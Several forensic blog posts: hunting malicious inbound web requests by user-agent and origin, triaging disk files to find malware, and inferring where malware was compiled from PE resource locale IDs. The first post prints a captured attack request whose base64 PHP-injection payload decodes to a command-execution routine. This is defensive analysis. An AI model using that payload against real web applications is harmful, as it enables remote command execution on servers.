I tend to be an opponent of looking for bad stuff by using “known bad dictionaries” like IP lists, signatures, etc. I tend to soapbox about how you can find far more known and unknown bad stuff by employing a methodology of separating out “presumed good” stuff, and examining outliers. Check out any of the other posts I have up here for more detail about this, probably starting with this post.

The InfoSec industry tends to focus very hard on the exploitation of clients (mostly being end-users belonging to an organization, or customers of your organization – especially for financial institutions). Since the early 2000′s gradually less focus has been paid to the exploitation of servers.

As discussed in other posts here, the exact same forensics methodologies and logical reasoning apply not only to the high-level analysis of network traffic, but also to low-level areas like the characteristics of processes on a host. Likewise, the same techniques apply to finding bad things with hosts as well as with servers.

In this case, we were interested in finding anomalous inbound traffic going from clients to web servers. The logic we used went something like this:

1 – Most people browse webpages using a common web browser like Internet Explorer, Firefox, Safari, Chrome, etc.

2 – The user-agents of these browsers are based on Mozilla 4.0 or 5.0.

So in this case, we were interested in sessions not matching the characteristics above. Those sessions are depicted here:

While that’s a lot of results (that are mostly legitimate), we could have stopped there and applied the “if-then” logic we talk about in other articles to find the same types of activity we’ll see in a minute, but for the sake of discussion here, we also went one step further.

In this case we were hunting for a more specific type of activity, so we added the following criteria to our logic:

3 – When hacking a website using an exploitation method where automation makes the process more efficient (for instance, SQL injection), many times it’s easier to automate your hacking using a high-level language like Perl, etc.

We were able to combine the above logic into a single query as shown next:

The above query simply says “show us all network sessions where the user-agent contains the term perl.”

In many environments/traffic sets, this is all you need to find “interesting” things, however in massive environments with custom-developed web applications it’s likely that query will still clutter your analysis work with too many legitimate sessions to analyze. In those cases, it’s useful to layer in the following logic, which is a natural part of the “if-then” logic we talk about in other places.

1 – Because the server farm examined in this case resides in the United States and the customers of this application were primarily US-based, you can filter out all traffic originating from the United States (or whatever country applies to your case). Keep in mind, this would normally still include a massive amount of traffic, but we’ve already applied the filter to only include sessions were the user-agent contains the word perl. The combination of the two criteria points typically reduces the number of sessions from millions to dozens.

2 – When using the logic above, it’s helpful to additionally apply a filter for all sessions where the source country could not be resolved. This is a neat little trick to quickly filter out all traffic from RFC 1918 addresses, which typically means traffic sourced from the organization being examined – especially if you’re looking for bad things coming in. (We apply this logic all the time when looking for bad things going out as well – except in those cases we filter traffic where the destination country can’t be resolved. While this logic doesn’t apply to all cases, it’s a good place to start for most.)

In this case, we ended up with the following eight sessions:

All eight of those sessions came from the same source. Digging into all sessions from this source (which included several others not part of the eight above, but stood out like a sore thumb after we found those eight – which is typically how it works), we found a lot of traffic like this:

POST /contactus.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: <redacted>
User-Agent: Mozilla/3.0 (OS/2; U)
Content-Type: application/x-www-form-urlencoded
Content-Length: 996

<redacted>&name=[php]eval(base64_decode('ZWNobyAiQU5BU0tJPGJyPiI7DQp
lY2hvICJzeXM6Ii5waHBfdW5hbWUoKS4iPGJyPiI7DQokY21kPSJlY2hvIEpGcnkiOw0KJGVzZWd1aWNt
ZD1leCgkY21kKTsNCmVjaG8gJGVzZWd1aWNtZDsNCmZ1bmN0aW9uIGV4KCRjZmUpew0KJHJlcyA9ICcnO
w0KaWYgKCFlbXB0eSgkY2ZlKSl7DQppZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSl7DQpAZXhlYygkY2
ZlLCRyZXMpOw0KJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHM
oJ3NoZWxsX2V4ZWMnKSl7DQokcmVzID0gQHNoZWxsX2V4ZWMoJGNmZSk7DQp9DQplbHNlaWYoZnVuY3Rp
b25fZXhpc3RzKCdzeXN0ZW0nKSl7DQpAb2Jfc3RhcnQoKTsNCkBzeXN0ZW0oJGNmZSk7DQokcmVzID0gQ
G9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aX
N0cygncGFzc3RocnUnKSl7DQpAb2Jfc3RhcnQoKTsNCkBwYXNzdGhydSgkY2ZlKTsNCiRyZXMgPSBAb2J
fZ2V0X2NvbnRlbnRzKCk7DQpAb2JfZW5kX2NsZWFuKCk7DQp9DQplbHNlaWYoQGlzX3Jlc291cmNlKCRm
ID0gQHBvcGVuKCRjZmUsInIiKSkpew0KJHJlcyA9ICIiOw0Kd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzI
C49IEBmcmVhZCgkZiwxMDI0KTsgfQ0KQHBjbG9zZSgkZik7DQp9fQ0KcmV0dXJuICRyZXM7DQp9'))%3B
die%28%29%3B%5B%2Fphp%5D

When we remove the encoded data for a moment and clean it up, we see the user is submitting the following in the form of a POST to contactus.php:

[php]eval(base64_decode('<encoded_data>'));die();[/php]

Even without being a php programmer, it’s fairly obvious to see the attacker is using PHP injection to get the php form contactus.php to execute something encoded inside the eval() statement. And what is inside that eval statement?

It’s decoded below:

After looking at the other sessions we see the connection with Anaski (pictured below) is not coincidental, as it usually is not with groups like them.

Again, this is just another fun example of how intelligent and tactical traffic carving methods turn up far more than you’d find going out and looking for specific things.

- Gary Golomb

Part Two in a multi-part series on holistic, multi-disciplinary analysis and reversing.

The last post, “Mutex Analysis: The Canary in the Coal Mine,” started off showing to use mutexes to discover malware that is difficult to locate using more traditional methods and tools. We used a live compromised system for the example and the post came to a relatively abrupt end when it seemed that we stumbled onto a new/unknown type of malware – or at least one that does not seem to have any public exposure or analysis. This post is “part 2″ of our analysis.
 
Update 6/21/2011:
 
This post has been moved to the “Forensics and Reversing” section of the website. I apologize for the inconvenience. Read the full article here.
 

Part One in a multi-part series on holistic, multi-disciplinary analysis and reversing.

This post is based on a presentation I gave at the last Thotcon, but was really prompted by a case from a couple days ago. It’s an interesting example of how the same disciplined methodologies for finding malicious traffic on the network also applies to sophisticated situations on the host as well. We’ll examine those methodologies and logic on the host by examining a little app I wrote called LockPick, pictured  here and detailed later in this article. As we’ll see, mutex analysis is a VERY powerful way of analyzing systems during Incident Response. They can lead the direction of your analysis when other automated methods fail to do so.
 
Update 6/21/2011:
 
This post has been moved to the “Forensics and Reversing” section of the website. I apologize for the inconvenience. Read the full article here.
 

Introduction

In our first post in the forensics and reversing series, we examined why HTTP gzip content encoding is a larger and more serious problem than most people realize. We’ll use the end of the first post as a starting point for analysis in this post. It also serves as an example of something far more important. That is, the very heart of forensics – and something I’d propose is the very definition of forensics. I teach a network forensics and reversing class together with Mike Sconzo about once a month. This is a point I raise at least a dozen times a day in class. That is:

World class forensics engineers are the ones who quickly and intelligently reduce millions of sessions to about a dozen worthy of deeper analysis.

What constitutes quickly? I suppose it depends on the tool being used to perform the analysis, but I’d generalize by saying no more than a couple minutes and/or the same number of clicks. We’ll see this in a moment.

What constitutes intelligently? We can answer this question by looking at a host-based forensics analogy. Suppose you were given a hard disk of a compromised machine and you needed to find the malware. There could be millions of files on the computer, so where do you start? Most of the time, especially for most standard compromises, the following steps will work (this is an over-generalization, but one that works nonetheless):

1. Show only PE files (exe, dll, etc..). At this point you’ve probably gone from nearly a million to about 100,000.
2. Show only PE files outside the Program Files directory. Here you may go from about a hundred thousand files to tens of thousands.
3. Depending on the assumed time of compromise, show only those PE files modified or created in a specific range of days. At this point you should go from tens of thousands to less than 100.
4. Since malware tends to be smaller in size, show only those PE files less than 500k. At this point you should be looking at only a handful of files, and most of the time, the malware you’re looking for will be one of them.

In the above steps, you found malware NOT by looking for known traits of malware. You did it by examining general characteristics about file traits. In other words, by examining characteristics external to the file, not by searching for signatures or other characteristics internal to the file. Typically, each of those traits by themselves are completely uninteresting until they are combined with other “uninteresting” traits, making them very interesting when layered together.

As you’ll see next, the same applies to network traffic. We can intelligently go from millions of sessions to only a few by wisely layering traits of network sessions with little attention paid to what is inside those sessions.

Read the full and detailed post here:
http://www.networkforensics.com/forensics-and-reverse-engineering-series/

Gary Golomb

Update 11/29/10: Added a short discussion about non-malware executables also.

Have you ever wondered how people writing reports about malware can say where the malware was likely developed?

Sometimes you get totally lucky and log files created by the malware will help answer the question. Given the following line from a log:

11/16/2009 6:41:48 PM –>  Hook instalate lsass.exe

We can use Google Translate’s “language detect” feature to help up determine the language used (click to enlarge):

Of course, it’s not often we get THAT lucky!

A more interesting method is the examination of certain structures known as the Resource Directory within the executable file itself. For the purpose of this post, I will not be describing the Resource Directory structure. It’s a complicated beast, making it a topic I will save for later posts that actually warrant and/or require a low-level understanding of it. Suffice it to say, the Resource Directory is where embedded resources like bitmaps (used in GUI graphics), file icons, etc. are stored. The structure is frequently compared to the layout of files on a file system, although I think it’s insulting to file systems to say such a thing. For those more graphically inclined, I took the following image from http://www.devsource.com/images/stories/PEFigure2.jpg. (Click to enlarge.)

For the sake of example, here’s some images showing you just a few of the resources embedded inside of notepad.exe: (using CFF Explorer from: http://www.ntcore.com/exsuite.php)

Now it’s important to note that an executable may have only a few or even zero resources – especially in the case of malware. Consider the following example showing a recent piece of malware with only a single resource called “BINARY.” (Click to enlarge.)

Moving on, let’s look at another piece of malware… Below, we see this piece of malware has five resource directories.

We could pick any of the five for this analysis, but I’ll pick RCData – mostly because it’s typically an interesting directory to examine when reverse engineering malware. (This is because RCData defines a raw data resource for an application. Raw data resources permit the inclusion of any binary data directly in the executable file.) Under RCData, we see three separate entries:

The first one to catch my eye is the one called IE_PLUGIN. I’ll show a screenshot of it below, but am saving the subject of executables embedded within executables for a MUCH more technical post in the near future (when it’s not 1:30 am and I actually feel like writing more!). (Click to enlarge.)

Going back to the entry structure itself, the IE_PLUGIN entry will have at least one Directory Entry underneath it to describe the size(s) and offset(s) to the data contained within that resource. I have expanded it as shown next:

And that’s where things get interesting – as it relates to answering the question at the start of this post anyways. Notice the ID: 1055. That’s our money shot for helping to determine what country this binary was compiled in. Or, more specifically, the default locale codepage of the computer used to compile this binary. Those ID’s have very legitimate uses, for example, you can have the same dialog in English, French and German localized forms. The system will choose the dialog to load based on the thread’s locale. However, when resources are added to the binary without explicitly setting them to different locale IDs, those resources will be assigned the default locale ID of the compiler’s computer.

So in the example above, what does 1055 mean?

It means this piece of malware likely was developed (or at least compiled in) Turkey.

How do we know that one resource wasn’t added with a custom ID? Because we see the same ID when looking at almost all the other resources in the file (anything with an ID of zero just means “use the default locale”):

In this case, we are also lucky enough to have other strings in the binary (once unpacked) to help solidify the assertion this binary is from Turkey. One such string is “Aktif Pencere,” which Google’s Translation detection engine shows as: (Click to enlarge.)

However, as you can see, this technique is very useful even when no strings are present – in logs or the binary itself.

So is this how the default binary locale identification works normally (eg: non-malware executable files)?

Not exactly. The above techniques are generally used with malware (if the malware even has exposed resources), but not generally with normal/legitimate binaries. Consider the following legitimate binary. What is the source locale for the following example?

As you see in the green box, we have some cursor resources with the ID for the United States. (I’m including a lookup table at the bottom of this post.) In the orange box, there are additional cursor resources with the ID for Germany. In the red box is RCData, like we examined before, but all of these resources have the ID specifying the default language of the computer executing the application.

As it turns out, the normal value to examine is the ID for the Version Information Table resource (in the blue box). In the case above, it’s the Czech Republic. The Version Information Table contains the “metadata” you normally see depicted in locations like this:

In the above screenshot, Windows is identifying the source/target local as English, and specifically, United States English (as opposed to UK English, Australian English, etc…). That information is not stored within the Version Information table, but rather is determined by the ID of the Version Information Table.

However, in malware, the Version Information table is almost always stripped or mangled, as is the case with our original example from earlier:

Because of that, the earlier techniques are more applicable to malware.

Below, I’m including a table to help you translate Resource Entry IDs to locales (sorted by decimal ID number).

-Gary Golomb

Gary Golomb

.